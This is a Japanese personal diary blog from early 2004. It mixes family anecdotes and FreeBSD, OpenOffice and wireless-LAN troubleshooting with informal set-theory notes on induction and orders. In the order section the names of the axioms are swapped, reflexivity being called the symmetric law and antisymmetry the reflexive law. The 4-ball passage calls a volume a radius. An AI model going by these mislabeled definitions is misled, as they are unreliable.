まず (u,a,0)-写像 g は具体的に g(0)=a(関数関係としては {(0,a)})と定義出来るので存在と一意性は明らかです。さらに (u,a,m)-写像 h が存在すると仮定して、h の関数関係を H とすると、H∪{(m+1,u(h(m),m))} は (u,a,m+1)-写像に対応する関数関係となることが分かります。また (u,a,m)- 写像の一意性から (u,a,m+1)-写像の一意性が導出されるのも明らかです。
さて S=∪T を(直感的には (u,a,m)-写像を N 全体に拡張したもの) を考えると今までの議論から S は N 上で定義された定理の条件を満たす関数関係であることは容易に分かります。さらに一意性も帰納法から容易に証明することができ、(S,N,A) が求める写像となりまして、写像を外延化して考えるご利益が満喫できる証明なのであります。

2004年2月13日(金)

意外と速いモカ姫の計算
例のごとく、単にモカ姫の自慢話なのですが、思ったより計算が速くて正確なのです。実を言いますと昨日鳩時計が壊れてしまって、もう 20年間も動き続けていたのでこれは仕方がないのですが、ちょっと問題を思いついてモカ姫に「一日に鳩時計は何回ピポピポ鳴くか分かるかな─」と聞いたところ、 10秒くらい空で考えて「そんなの簡単だよ 180回」と言うのです。で、その時はどうせ間違っているだろうと思って「ずいぶん速いね」と言ってそのままになったのですが、さっき真面目に計算したらなんとこれが正解なのです(てゆーか 私はパソコンを使ったのに一回間違えた^^)。いやはや天性のものだとは思うのですが、とりたてて計算練習を沢山している訳ではないのに、ずいぶんと速くなったもので、ばか親としてはちょっとばかりうれしいのです(^^。
ちなみにモカ姫が言うには、「計算の速さだけは絶対だれにも負けたくない」ということなのですが、最近は塾に行っている同級生に大分追い上げられているそうで、本人としては塾に行きたいそうな。どうしようかな...。

余談ですが、上の傷だらけの腕時計が今私が使っているものでして、学生の頃に当時としては大金の 30,000円で買いまして、何と 25年物なのですが、ご覧のように文字板がずれている、といいますか針に追随して回るのです(^^。たまに新しいのが欲しいな～、と思わないこともないのですが、25年も付き合っているとそれなりの愛着がわいてくるのと、一度電池を交換すると 5年間位は大丈夫という超低電力設計でありまして、なかなか買い替える気にならないのです。当時の日本の品質管理の優秀さを象徴する製品であるような気がします。

2004年2月12日(木)

地球儀
実は石川県に会社の営業所がありまして、そちらから出張でちょくちょく東京に出てくる同僚の女性がいるのです。で、この前面白そうな地球儀を持っていたので、「それなーに」と聞いたところ、石川県の雑貨屋さんに置いてあった珍品だそうな(^^。そこで、「私もひとつ欲しいな─」とおねだりをしたところ、わざわざ買ってきて下さいまして、それが下の写真なのです。

箱
日本近辺

いやはや、こうして真面目に眺めてみるとほんとに怪しいというかなんというか。右の写真を大きくすると、日本の本州と北海道が陸続きで、逆に四国・九州・沖縄のあたりは意味不明。さらには北方四島あたりまで日本の領地という感じで、箱を見ると Made in Chaina ということで、そりゃロシア製ではないでしょうな(^^。
ちなみに本当は地球儀ではなく鉛筆削りだそうで、極めて珍しいものと思われるので、将来暴騰するかも知れません(^^。

2004年2月11日(水)

モカ姫ヴァレンタインディのチョコ作り
なんか朝から奧さまとモカ姫が台所でもぞもぞやっていると思ったら、どうもチョコレート作りをしているようなのです。

そう言えばもうすぐヴァレンタインディなのですね。で、「モカちゃんパパには」と聞いたところ、
うーんどうしようかな～。余ったらね。
ということでとっても冷たいのであります(^^。

2004年2月10日(火)

OpenOfiice その後
いちおう使っております(^^;。全然知らなかったのですが、ワープロというのは単に「自分で見栄えを調整して」書くものかと思っていたのですが、ちゃんと「章」「節」等の概念らしきものを定義して、それにそってもっともらしく書くことが出来るのですねー。まずは困ったこと。
- キーバインドが非常に特殊でパニックをおこしそうになった。例えば カーソル移動がカーソルキーだったり、一文字削除が Delete キー だったりするのです(^^;。いやはや、どうして世の中の人は、あの(ホームポジションから指が離れる)カーソルキーとかファンクションキーというのを使えるのだろう。もしこれの解決法がなければ使用を断念せざるを得なかったと思うのですが、幸いにしてキーバインドを変更することが可能でして、カーソル移動の類を Ctrl-B,Ctrl-F,Ctrl-N,Ctrl-P 等の正しいキーバインドに変更(^^。
- 章や節の番号付けとレイアウト、そのレイアウトの見栄えの概念をリンクするとまともに使用出来るようになるのですが、最初分からなくてはまった。
- 改段と改行が見た目で分からなく、最初のうちは改行を削除しようとして、実際は改段を削除して、二つの段落が混じって(混じるとレイアウトもマージされてしまう)訳が分からなくなった。改段のマークを表示するオプションで解消。
- 細かい設定をしていないせいもあるのかも知れませんが、印刷したときの見栄えは LaTeX に遠く及ばない。これはがまんですな。
- よく考えてみれば当たり前なのですが Windows と FreeBSD の環境でフォントがあったりなかったりするので、Windows に持っていくと表示や印字されない文字がある。この場合「代替フォント」を定義すればなんとかなることを学習。
- DOC 形式で保存して Windows に持っていって印字すると大体おんなじような文書が出力されるが、表の幅が異常に広くなってしまう。
良かったこととしては、
- インストールに 4Gバイトもディスク領域が必要だったのが、出来上がりインストール後のディスク容量は 200Mバイト程度で、思ったよりはるかに少ない。本当は 1Gバイト位覚悟していた。
- 今後お客さま提出用のドキュメント程度はまかなえそうで、LaTeX から HTML に変換してそれを無理やり Word で DOC に変換する必要がなくなりそう。変換するのは構わないのですが、非常に見栄えが悪くなるので、手作業が入るのがやだった。
- 画像の張り込みは割と便利。LaTeX の epsf 張り込みはすぐに構文を忘れてしまう。
- みかちゃんフォントで遊んでみた(^^;。
IIJ で流量制限
こちらによりますと、IIJ や IIJmio の ADSL や B フレッツ(いわゆるブロードバンド)接続サービスにて、上り回線の流量を一日 15G バイトまで制限するそうな。ついに天下の IIJ も流量に耐えきれなくなったか、と感慨深いものがあるのですが、 15G というと 1Mbps の ADSL 上りでは不可能な値でして、さらにおうちの上りは 800Kbps 程度しか出ないので、私には全く関係ない制限だったりします。ちなみに 15G といいますと、データを流し続けた場合、
常時 1.4Mbps
という量でして、もし将来下りも制限されるとおうちでもちょっと危ない量なのですが、もちろんこんなに使うはずがありません。下りを制限しなかったのは、マルチメディア系のコンテンツ等配信企業に対する配慮だと思うのですが、確かに年中 PC で配信画像を見ている人は 15G オーバーの可能性大です。また下りに同様な流量制限がかけられた場合、一日に FreeBSD の CDROM を 20 枚位しかダウンロードできなくなります(^^。
余談ですが、とっても品質が良いと評判の DTI も流量制限を行っているかどうか調べてみたところ、こんなページがありまして、「迷惑メールを送信したお客様に対しまして、1通につき100円の料金」を加算ということらしいのですが、「迷惑メール」の定義がどこにも書いてないのですねー。どういう判断基準で課金するのだろうか...。

2004年2月9日(月)

風邪なおらず
今日も死亡。

2004年2月8日(日)

またもや風邪
今日も 38度熱が出て一日ダウン。

2004年2月7日(土)

更新の振り込み From FC
FC より更新振り込み用紙が送られてきたのです。お誕生日の頃に来るのですな。ちなみに期限は 4月30日まで。お値段は振り込み料金込みで 3,700円なり。
順序
[集合論雑記目次]
A を集合として R を A 上の二項関係とします。R が次の条件を満たすとき A 上の順序関係または単に順序と言います。

aRa (対称律)

aRb かつ bRc のとき aRc (推移律)

aRb かつ bRa のとき a = b (反射律)

R が集合上の順序関係のとき、通常 aRb を ${a}\leq{b}$ と記述します。すると上の条件は、

a $\leq$ a (反射律)

a $\leq$ b かつ b $\leq$ c のとき a $\leq$ c (推移律)

a $\leq$ b かつ b $\leq$ a のとき a = b (対称律)

と書き直すことが出来ます。順序が次の条件を満たすとき全順序と言います。
任意の a,b∈A に対して a $\leq$ b または b $\leq$ a
非公式ですが、自然数・整数・有理数・実数の「通常の」順序は全順序です。また X を集合とするとき、X 上の二項関係 a⊆b は全順序ではない順序となります。
a < b を [a $\leq$ b かつ a≠b] と定義するとき、a<b は次の条件を満たします。

a < a は成立しない (反対称律)

a < b かつ b < c のとき a < c (推移律)

a < b かつ b < a は成立しない (反反射律)

$\leq$ を A 上の順序(これは A 上の二項関係であった)として B⊆A を部分集合とするとき、 $\leq$ ∩(B x B) は B 上の順序となります。これを B 上に導入された順序と呼び、通常部分集合の順序に言及する場合はこの順序のことを指します。また順序の土台となる集合を明示したい場合、 $\leq$ _A や $\leq_{B}$ 等と記述する場合もあります。ここで順序の概念に関するいくつかの定義を行います。いずれも常に存在するとは限りません
[最小元]
a∈A で任意の x∈A に対して a $\leq$ x が成立するとき a を A の最小元と呼ぶ
[最大元]
a∈A で任意の x∈A に対して x $\leq$ a が成立するとき a を A の最大元と呼ぶ
[極小元]
a∈A で x<a なる x∈A が存在しないとき a を A の極小元と呼ぶ
[極大元]
a∈A で a<x なる x∈A が存在しないとき a を A の極大元と呼ぶ
[下界]
B を A の部分集合として、a∈A は任意の x∈B に対して a $\leq$ x を満たすとき B の下界と呼ぶ
[上界]
B を A の部分集合として、a∈A は任意の x∈B に対して x $\leq$ a を満たすとき B の上界と呼ぶ
[下限]
A の要素で B の下界の最大元を B の(A における)下限と呼ぶ
[上限]
A の要素で B の上界の最小元を B の(A における)上限と呼ぶ
[増加写像]
X,Y を順序集合とし f: X → Y を写像とします。任意の a,b∈X, a <_X b に対し f(a) <_Y f(b) が成立するとき f を増加写像と呼びます。
増加写像が一対一であることは明らかです。上への増加写像 f: X → Y を順序同型と呼びます。
さて、集合論で最も重要な順序の性質として「整列順序」というものがあるのですが、これは次の条件を満たす順序であり、整列順序を具体的に「代表」するものが「順序数」のなのであります。
[整列集合]
$\leq$ を A 上の順序関係とする。A の任意の部分集合 B に対して $\leq_{B}$ が(B 内で)最小元を持つとき A を整列順序という。
例えば今まで定義した自然数 n に対しては a,b∈n に対し、a<b を a∈b と定義することにより整列順序となります。また「自然数全体の集合」N は a,b∈N に対して a<b を a∈b と定義することにより、こちらも整列順序となります。これを一般に拡張して、いくつか公理を追加すると、一般の順序数という概念が得られるのです。さて、次回は一度自然数の性質に戻りまして、その後「大きい」順序数を得る手段に関して考察する予定です。

2004年2月6日(金)

OpenOffice のインストール
私、ドキュメント類はいつも LaTeX で書いていまして、これで何とかしのいではきたのですが、そろそろ普通のワープロを使えるようにならないとな～ (DOS の頃には使っていたのですが)、と考え始めたのです。そうはいうものの、編集作業自体は一番信用がおけて使い勝手も良い FreeBSD 上で行いたいので、選択枝としては OpenOffice 位しかないのですが、インターネットの情報を拾うと大分こなれてきたらしいのと、数式もそれなりに記述できるらしく、インストールしてしばらく試してみることにしたのです。
で、さっそく 16時頃からインストール作業を始めたのですが、いやはや時間がかかることかかること(^^;。まず FreeBSD-4.9 標準の GCC は 2.95.4 なのですが、OpenOffice や関連のコンパイルには GCC-3.3.3 を使うらしくそのインストール(もちろん GCC-2.95.4 で GCC-3.3.3 をコンパイル)、ちょっと古めのバージョンのモジラライブラリーを使うらしく、モジラのコンパイル。やっと本体のコンパイルに入ったのが 18時過ぎなのですが 21時になっても全く終わる様子がなく、「make をサスペンドした状態でふたをして帰れば家まで電池がもつであろう」ということで、X24 の電源を入れたままおうちに帰ったのです。ところがもうすぐ藤沢駅に到着という頃に、電車が空いてきたのでちょっと PC 様子をみたところ、バッテリーの残りが 1パーセントという... (^^;。むむむっ、この前 X の終了まではやったのに、電源を切り忘れて帰ったときは半分くらい残っていたのに。なにかバックグラウンドプロセスを殺し忘れていたのか、それとも X が動いていると電気を消費するのか、全くの謎なのです。仕方がないので Make 中に中断するのは嫌いなのですが make に関連したプロセスを殺してあわててシャットダウンしたのです。
で、23時頃おうちに着いてすぐにコンパイルの再開をしまして、今は翌日の 1 時半頃なのですが、延々と終わりません。これは朝までかかるかも知れませんな。ちなみに bz2 で固めてある OpenOffice の tarboll は 189M もあり、展開すると 600M 位にふくれて、コンパイルの作業領域は 4G バイト必要なのだそうです(^^。
＃朝の 6時半に完成。大体 12時間ですな。

2004年2月5日(木)

n 次元球の体積
一般に半径 r の n 次元球の体積は

π^n/2 rⁿ

V(n,r) = ------------

Γ(n/2 + 1)

であるというつっこみがありました。この式は学生時代に見た記憶があって、前回の 4 次元球のときにも書こうかな～、と思ったのですが、普通(かたぎの^^)の人は Γ-function 知らないのと、調べるのが面倒で書かなかったのです(^^。どうもありがとうございます。

2004年2月4日(水)

FreeBSD のインストールではまる
昨日の話なのですが、実は社内業務用の Linux サーバーのハードディスクが壊れまして、幸いデータのバックアップが残っていたので大事には至らなかったのですが、とにかくも Linux の再インストールを依頼されたのです。Linux の設定なんて分からないよ～、といったものの、他にやりそうな人もいないので仕方なく引き受けて、インストール自体はうまくいったのです。で、このマシンは HTTP サーバー with PostgreSQL/PHP と sendmail が動けば大体良いのですが、その前提としてのネットワークの構成が全然わからい、というか設定ファイルを山のようにいじらないと ssh とか telnet で入れるようにならないのです。ほとんどいやがらせとしか思えない設定の難解さにいやけがさして、「これ FreeBSD にしたら今後何かあったとき面倒みるけど、Linux のままだったら知らないよ～」と言ったところ、担当の人が「それなら FreeBSD でもいいですよ」、と安易な意見が通ってしまったのです(^^。
そこで、さっそく 4.9-i386-disc1.iso という FreeBSD-4.9R インストール用の CDROM イメージをダウンロードしまして、担当の人に「これで CDROM 焼いてね」とお願いして、焼き上がった CDROM でブートしようとしたのですが、
全くブートしません(-_-)
むむむっ BIOS のブートの設定でも間違っているのかと調べてみたのですが、これは正しそうなので、もしかして CDROM も調子が悪くブート出来なくなったのかと思いまして、フロッピーでブートさせることにしたのです。フロッピーを作るときにも何回かフォーマットしないとうまくブートしないでやり直しする必要があったりしたのですが、なんとかインストールのメニュー画面までたどり着きまして、パーティションを切ったり、なんたらかんたら設定をして、 CDROM からのインストールをコミットしたのですが、...
やはり CDROM から読み込めません(-_-)
やややっ、これはブートしないだけでなく本当に壊れてしまったのか、ということで、ちょいと面倒なのですが、ネットワークインストールを行うことにしまして、自分の開発用の Linux マシンに CDROM を挿し、マウントして ls で見たところ、
# ls /mnt/cdrom/
4.9-i386-disc1.iso (^^;;;
いやはや「CDROM に焼いて」とお願いしたら、ファイルとしてコピーしちゃったのですねー。ただしこれは私が悪いのであって、「普通の人」に焼いてとお願いしたらこうしちゃうのはあたりまえのことで、明らかに説明不足だったのです。というわけで、今度は CDROM をまるごと焼き直しまして、その後は順調にインストールが進んだのです。やれやれ。
＃今日は apache と sendmail の設定がたくさん...。

2004年2月3日(火)

xdvi ではまる
少々前のことなのですが、とあるページを眺めていたら FreeBSD にて portupgrade という技があるそうでして、インストール済の ports を自動的に最新のものに置き換えてくれるという優れ物らしいのです。私の場合セキュリティーに問題がある場合や、よく使用するプログラム以外は、一度 ports をインストールして特に問題がない場合は 1年でも 2年でも古いものを使う癖があり、新旧プログラムが入り乱れる傾向があるので、これは結構便利そうだな～、と思い今日初めて使ってみたのです。
それで最初にやってみたのは、最近ドキュメント書きで重宝している platex なのですが、依存する ptex とかも最新のものに更新されて、よしよし完璧な更新作業だと思ったのです。ところが platex コマンド自体は全く問題なく動作したのですが、出来映えを見ようと xdvi コマンドを起動したところ、
画面が現われたと思うとすぐに終了してしまいます(-_-)
この段階では xdvi も更新すれば問題ないのであろうと思いまして、実際に更新作業を行ったのですが、全く事態は改善しません。むむむっ、今使いたいのに～、どうしよう(^^;。そこで、落ちるときには、
```
   FreeType error : (8)
   Unexpected error in "read_ZEIT_char()"
```
というエラーが端末に表示されているので、このキーワードをたよりにインターネットで調べると /usr/local/share/VFlib/ 以下にある vfontcap というファイルに問題がありそうなのでが、フォントの設定に関しては全く分かりません。困りに困って vflib やフォント関連の ports を再インストールしてみたりしたのですが、状況に変化はありません。この期に及んで vfontcap を少し真面目に見る必要がありそうな気がして、最初の方を眺めてみたのですが、なんとなく kochi フォントの設定あたりに問題がありそうな感じががしてきたのです。本質的な部分を引用しますと、
```
    :fc=r-kochi-mincho:
  kochi-gothic:\
    :fc=r-kochi-gothic:
  r-kochi-mincho|Kochi Mincho:\
    :ft=freetype:\
    :ff=/usr/X11R6/lib/X11/fonts/TrueType/kochi-mincho.ttf:
  r-kochi-gothic|Kochi Gothic:\
    :ft=freetype:\
    :ff=/usr/X11R6/lib/X11/fonts/TrueType/kochi-gothic.ttf:
```
という記述でして、kochi-mihcho.ttf とか本当にあるのかいなと思って /usr/X11R6/ 以下を find してみたところ、 /usr/X11R6/lib/X11/fonts/TrueType 以下に、
```
  -r--r--r--  1 root  wheel  8164780  2  3 11:00 kochi-gothic-subst.ttf
  -r--r--r--  1 root  wheel  9360128  2  3 11:00 kochi-mincho-subst.ttf
```
なんていうのがあるではないですか。そこで理由は分からないのですが、最新のに更新して -subst というのがファイル名の後ろの方に付くようになったのが vfontcap に反映されていないのが怪しいと思いまして、vfontcap の方のファイル名を -subst 付きのに変更したところ、ようやく動作するようになったのであります。いやはやいくら新しくなるとはいっても、今仕事で使っている ports を安易に更新するものではありませんな(^^。
＃ちなみに今 emacs を更新しようとしたら X の最新版のインストールが
＃始まってしまった。どうしよう(^^。

2004年2月2日(月)

4 次元球の体積
ちょっと質問が来たので、4次元球の体積の求め方なのです。良く知られているように、通常の 3次元に存在する半径 r の球の体積は、下図の円の部分の面積を積分すれば良いので、 Int[f(x),x,a,b] を f(x) を x に関して a から b までの積分とすると、

Int[π Sqrt[r² - x²]², x, -r , r]
= 2 Int[π(r² - x²), x, 0 , r]
= (4/3) πr³
同様に 4次元に存在する(4次元)球を、x 軸と垂直な「3次元空間」で切り取った「球」の半径は、
(4/3)πSqrt[r² - x²]³
なので 4次元球の体積は、
Int[(4/3)πSqrt[r² - x²]³, x, -r , r]
となり x = r sin(t) とか置き換えてごちゃごちゃと計算すると、
(1/2)π² r⁴
となるのです。

2004年2月1日(日)

チーズおかきの悲劇(^^;
えーとお菓子の悲劇ねたはつきないのですが、今日もまたやってしまったのであります。居間にチーズおかきの袋が置いてあって、例のごとく「まあ少しくらい食べても分からないだろな～」、ということで最初は一つ、次にもう一つ、またまた一つ、という風にエスカレートして結局五個位食べてしまったのですが、食べているところをモカ姫に目撃されて、姫の話によりますと二女(今日はバイトで不在) が管理して皆に配っていたそうでして、
パパまた勝手にたべちゃったのー。数えていたからまずいよ～(^^;;;
ということなのです。いやはやまた二女の管理だったとは、全く運が悪いと言うか、単に食意地がはっているのが悪いと言うか...。

ということで仕方がないので、近くのコンビニに新しいのを買いに行くはめになったのであります。ちなみに今日は私のお誕生日でして、晩ごはんはなかなか豪勢なメニューとなるはずなので、そんなに食意地をを出す必要はなかったのに(^^;。
自然数と数学的帰納法
[集合論雑記目次]
前回自然数全体の集合 N を定義しましたが、非常に天下り的な定義であり、我々の直感の「自然数」の集合論的な表現としてふさわしいかを検証する必要があります。もちろん「数学的」には定義した対象が直感に合っても合わなくても、論理的な矛盾がなければ問題がないとも考えられますし、実際若いころはそのように考えていたのですが、最近は数学的対象に関する洞察を深めるためには、形式的な体系が直感的な裏付けをもつ、ということは非常に大切なことであると考えが変化したのであります(＊)。
まず n∈N に対して n∪{n}∈N なのでこれを n+1 と記述することとします。まだ加法は導入していないので、この記法は単なる言い換えです。次の定理は N の定義から明らかです。
[定理]
N は帰納集合であり、 A が帰納集合のとき N ⊆ A
[数学的帰納法]
P(x) を論理式として次の条件を満たすとする。

P(0) が成立する (1)

すべての n∈N に対して P(n)→P(n+1) (2)

このときすべての n∈N に対して P(n)
P(n) を成立させる自然数全体を A(これは内包の公理により集合)とすると、 (1)(2) により A は帰納集合となります。よって上記定理より N⊆A。従って N = A。
さて、今までの議論から N は直感的に「自然数全体」を含んでいることは納得できますが、問題は「余計なもの」を含んでいないかということです。そのためには(現在は非公式な)次の事実が証明できれば十分だと思われますが、順序の概念がないと不便で仕方がないので、次回は順序の定義と N 上の順序について論じたいと思います。
n と n+1 の「間」の自然数は存在しない
n∈N で n≠0 のとき n=m+1 なる m∈N が存在する
(＊) 若いころは論理だけですべてを理解できたという事情もあるのですが、今考えると数学の論理的面を重視しすぎ、直感的な思考をおろそかにしたのがまずかった。

2004年1月31日(土)

キシリトールガムの数を数える
キシリトールガムを 20年かかって食べるというのはとっても長持ち、というつっこみがあったので、どの位の頻度で食べれば 20年もつのか調査です。で、計算するにあたって、入れ物に何個入っているか書いてあれば簡単なのですが、150 グラムとしか書いてなく、これは実際に数えてみる必要があります。そこで新しいのを買ってきて数えてみたところ、全部で 109個入っていまして、20年もたすためには、一年に 5個位しか食べることが出来ないと判明したのですが、実際には一日に 20 個位食べてしまい、食べすぎであると奧さまに怒られている毎日なのであります(^^。
無線 LAN アンテナ移動
二女の PC に取りつけた USB 無線 LAN と基地局間は非常に電波強度が弱く、ちょっと使い物にならない状態だったので、基地局のアンテナの移動です。移動と言ってもアンテナだけでして、
```
-------------------------
           牛・ADSLModem
部屋 B                  ------------
            アンテナ   扉    廊下    
-------------===========  ------------ 扉 ------------
私の作業机・基地局 ↑ふすま|         |
                           |         | 二女 PC 無線
    部屋 A                 |         | 部屋 C
```
上のような状況で、今まではアンテナが基地局のところにあったのを、ふすまのすきまを通してとなりの部屋に引き出したのです。この移動により電波状況が「非常に弱い」もしくは「切断」の状況から「弱い」または「非常に弱い」というふうになりまして、今までのところ切断することはなくなったようです。それはそうと、ペケピーというのは「ネットワークコンピューター」の「箱」がデフォルトでデスクトップに配置されていないのかな。捜し出すのに少々苦労したのであります。

2004年1月30日(金)

IBM の営業
価格ぽちコムによりますと、今なら T40 が 15万円位で買えるお店もあるそうで、ほんとは私も欲しいのですが、もちろんそんなお金はありません。というわけで、新しくノート PC を買いそうな人に
T40 はいいですよ～(^^
と営業活動をしていたのですが、今回めでたく一件商談がまとまりまして、明日本体が届くそうなのです。会社の開発用(私のではない)ノート PC も T40 を推薦して購入となりなかなか好評なようですので、IBM から営業用サンプルとして一台もらえるなどという話は...あるわけないですな(^^。

2004年1月29日(木)

最新 w3m の謎
最近とある情報により m17n 対応の w3m(画像表示もあり)にアップデートして、 UTF8 ベースのページ(特に PHP のマニュアル)も参照可能となり非常に重宝しているのですが、ちょいと困ったこともあるのです。
[困ったことその 1]

w3m の画像表示が軽快で良いところは、いわゆる OnPaint に対する再描画を省略してあることでして、例えば w3m のウインドウの上になにかを置いて、その後それをどけると、表示されていた画像は消えてしまうのです。で、もう一度描画をさせたい場合、今までは Ctrl-L(UNIX 系環境で通常使用される画面リフレッシュのキーバインド)で再描画されたのですが、今回からはカーソルを動かさないと再描画されなくなったようで、ちょっと違和感があるのです。まあこの問題はどうでも良いのですが...。
[困ったことその 2]

最近数学関連の記述で ∈[∈]とか ω[ω] とかを多用していまして、前は「アレフ &alefsym; ℵ」とかよほど特殊なもの以外は全部表示されていたと思うのですが、今回からは < や > 以外の表示は全滅しているようなのです。事実私の環境では、こちらの表にまとめた数学記号は一つも表示されません。設定かなんか必要なのかどうか分かりませんが、こちらはちょいと困っていたりします。
＃二番目の件は ~/.w3m/config に pre_conv ON と記述しておけば良いと
＃教えて頂きました。ありがとうございます。

2004年1月28日(水)

続・二女のパソコン
昨日のことなのですが、やっと机の整理がついて、音楽教室から貸してもらったバイト用二女 PC がブートすることになったのです。もちろんネットワークは必須なのですが(この意見に対してご家族さまは異論があるようです)、子供部屋は牛が置いてある居間や私の作業場所から扉二つ離れていて、Ethernet ケーブルを引き延ばすのは非常に困難なのです。そこで無線 LAN の登場となる訳ですが、普通の PC なので、現在余っている PCMCIA のカードは使えず、仕方がないので会社の帰りに偶然お店に置いてあった USB 対応の無線 LAN 装置 WLI-USB-S11 を購入です。BUFFALO はちょっとな～、とも考えたのですが、やはり基地局とおんなじメーカーが良いと思っての決断です。ところが帰りに電車の中で箱を空けてマニュアルを読んでみたところ、何と、
本機器は 128 bit WEP には対応していません(-_-)
と書いてあるではありませんか。しまったー、そんなの当然対応していると思って全然確認してなかった～、と思って箱をみると「128bit WEP 対応」と書いてあるのです。やれやれこれで万が一未対応でも返品できるなと一安心です。
で、おうちに着いてさっそくこの前買ったディスプレイと借り物本体を設置してブートしたのですが、さすがに 2GHz クラスの Pentium なんとかは速いし、牛に繋いでいたときはちょっとぼけた感じがあったディスプレイもやけに写りが良いのです。よしよし後は無線 LAN を動かせば完璧だ、と思ってマニュアル通りドライバー等をインストールしたのですが、マニュアルに書いてある画面が出てこなくて、IP アドレス等の設定は出来るのですが、
WEP の設定が出来ません(-_-)
さらに、一応リンクは確立しているらしいのですが、本来近隣無線 LAN 検索で現われるはずの基地局も現われません。いやいやこれは私が XP の使い方が分からないからだと思って色々やってみたり、基地局側からプローブしたり試行錯誤したのですが、事態は全く改善されません。状況をまとめますと、

箱 128bit WEP 可能と書いてある

マニュアル 64bit WEP 可能と書いてある

実際なんにもできない。アドレスの設定は出来たが平文でも通信不能

という悲劇的な状況となったのであります。この期に及んでファームウエア─ やドライバーを更新しなければいけなそうな気がしてきて、事実それは正しかったのですが、更新にあたりさらなる悲劇が待っていたのです(^^。で、ここまで書いたところで長くなってきたのと、お昼休みも終わりそうなので続きは後で(^^;。
上の続き
というわけで、ネットワーク関連のドライバー等をネットワーク経由でダウンロードする必要がある、というのは非常なる矛盾であると思うのですが、仕方がないので X24 を使って、 BUFFALO のページから最新のファームウエア─・ドライバー・設定プログラムをダウンロードしたのです。ところがサイズが大きすぎて、分割でもしないとフロッピーには入らないことが判明し、さらにつらいことには「借り物 PC」にはフロッピーがついていないということも分かったのです(^^; 。そういうことで、これはもしかしてCD-R に焼くしかないのか、とっても面倒だなーという事態に陥ったのですが、二女に「先生にデーターを渡すときはどうしているの」と聞いたところ、USB に挿すスティックメモリーを取り出して、
「これ使ってる。大切なデータが入っているから絶対に消さないでよ」
とのことなのです。むむむっ、私でさえ使ったことがないのに生意気な、と思いながらも、重宝そうなので試しに X24 に挿してみたところ、うまいこと認識して MSDOS マウントも可能だったのです。そこでさっそくダウンロードしたファイルをコピーしたのですが、
いつまでたってもコピーが終わりません(-_-)
Ctrl-C でも終了しないし、強制アンマウントも効果がありません。この状態はデバイスドライバーが I/O 完了待ち状態にもかかわらず、I/O が完了しない場合に発生するのですが、こうなってしまうとリカバリーするのはまず不可能なのです(kill -9 でもだめ)。そこで OS ごと固まるだろうな～、と思いながらスティックを抜いたところ、案の定固まりました(^^;。うううっ、バックアップとらなかったし、もし二女の(バイトの)データ─ファイルがなくなったり、壊れてしまっていたらどうしよう。とても苦労して作っていたのを知っているので、本当に冷や汗ものだったのです。いずれにしても何とかしなければいけないので、牛に挿して恐る恐る chkdsk の実行です。ここで「クラスター番号が不良です。切り捨てます」とか出たらアウトなのですが、幸いにしてダウンロードしたファイルが一つ 0 バイトになっていただけで、元からあったファイルは無事だったのです。いやはやほんとに危なかったのですが、なんとか平常心に戻り、牛経由でダウンロードしたファイルをコピーして、後は問題なくバージョンアップに成功して、さらに 128bit WEP での接続もうまく行ったのです。ただし電波の強度が非常に弱く、場合によっては切断が発生する場合もあるようですので、基地局の置場所を工夫する必要がありそうです。
後になって冷静に考えると USB 経由の SD カードライターとかを使っても良かったのですが、ファイルのコピーというとネットワーク・フロッピー・CD-R という先入観があって、そのことには全然気が付かなかったのです。いずれにしても、最近の BUFFALO さんの品質管理(ソフトもハードも)に関しては、ちょいと問題ありです。購入時の状態でせめて 64bit WEP が動作してくれないのではお話になりません。
＃どうして X24 と Ethernet クロスケーブルで繋げば良いことに
＃気が付かなかったのだろう。やはり熱くなってた？。

2004年1月27日(火)

復活～
昨日病院に行って薬をもらってきて飲んだら復活したのです。
LaTeX ではまる
今日は一日ドキュメント書きでして、道具としては Word の使い方が分からないのと、もっと重要な理由としては、文章の論理構造を明確にするために、 LaTeX を使用する場合が多いのです。その後 DVI,PS,PDF での配布で問題がなければそれでよいし、どうしても Word でという場合は非常に見栄えが悪くなるのですが、LaTeX2Html で HTML に変換して、無理やり Word に読み込ませてちょこちょこ見栄えを調整するのです。それはそうと久し振りの LaTeX 書きで、さらに最近は(この日記で) HTML ばかり書いているので、最初のうちは、
\begin{itemize} を <ul>
とか書いてしまって、慣れるまで少々時間がかかったのです。WWW の標準が HTML でなく LaTeX だったらとても幸せだったのに...。
＃特に \verb+...+ を ... と書くミスが多いのです。
最近はまっているもの
最近キシリトールガムにはまっているのです。私は寝る前に甘いものを食べて、その後歯を磨かなくても大丈夫、という絶対に虫歯にならないうれしい体質なのですが、歯茎の方はちょっとまずい感じでして、あと 10年くらい経ったらぼろぼろ抜け始めるのではないかと心配だったのです。ところがこれを食べ始めてからとても調子が良いのですねー。この調子が続けばあと 20年くらいはもちそうな気がします。ちなみに、ガムの残骸を処理するための紙も入っているのですが、私はガムをそのまま飲み込んでしまう人なので、付箋としても重宝しているのであります。

XYLITOL ガム
中に入っている紙

2004年1月26日(月)

風邪でダウン
風邪で死亡中なのです。

2004年1月25日(日)

アンケート

二女とモカに古い漫画を知っているか聞いてみました。そもそも私自身があんまり知らないので、非常にサンプルが少ないです。

お題目モカ二女

鉄腕アトム ○ ○

鉄人28号 ○ ×

明日のジョー ○ ○

巨人の星 ○ ○

ど根性カエル ○ ○

筋肉マン ○ ○

うる星やつら × ○

ポ─の一族 × ×

まことちゃん × ×

がきデカ × ×

マカロニほうれんそう × ×

むむむっ、ちっちゃい割には案外知っているものですな。ちなみに「白いワニ」「コンダーラ」は二人とも知らないそうな(^^。

2004年1月24日(土)

吉野家と言えば
来月になると牛丼が食べれなくなる可能性が強いので、家から歩いて 15分くらいのところにある吉野家に牛丼を食べに行ってきたのです。大盛・味噌汁・おしんこで 600 円弱なり。食べに行ったのは 13時30分頃なのですが、お客さんは十数人でして、牛丼以外を食べている人は皆無。個人的には「牛丼のない吉野家」なんて～、という気がして食べに行く気がしないのですが、本当に来月からお客さんが入るのだろうか。

2004年1月23日(金)

赤ぽっちん到着
というわけで、昨日届いていたのですが再配達してもらう時間がなく、本日帰宅したところモカが受け取ってくれていて、ちゃんと机の上に置いてあったのです。で、今回購入の最大の目的である「また巨大な箱に入ってくるのか^^;」ということなのですが、写真をご覧になればお分かりの様に、赤ぽっちんを入れるには大きすぎるとは言え、薄っぺらい封筒に入ってきたのです。うーむ、ちょっとつまんないですな。ちなみに IBM はよほど赤ぽっちんを売りたくない のかどうか知りませんが、なかなか注文の画面にたどりつけずにあっちこっちをうろうろして、注文するまで 30分位かかってしまったのは絶対に内緒なのです(^^。

普通の袋に入ってきた
赤ぽっちん揃い踏み

＃こんなに赤ぽっちんためこんじゃって。どうしよう...。
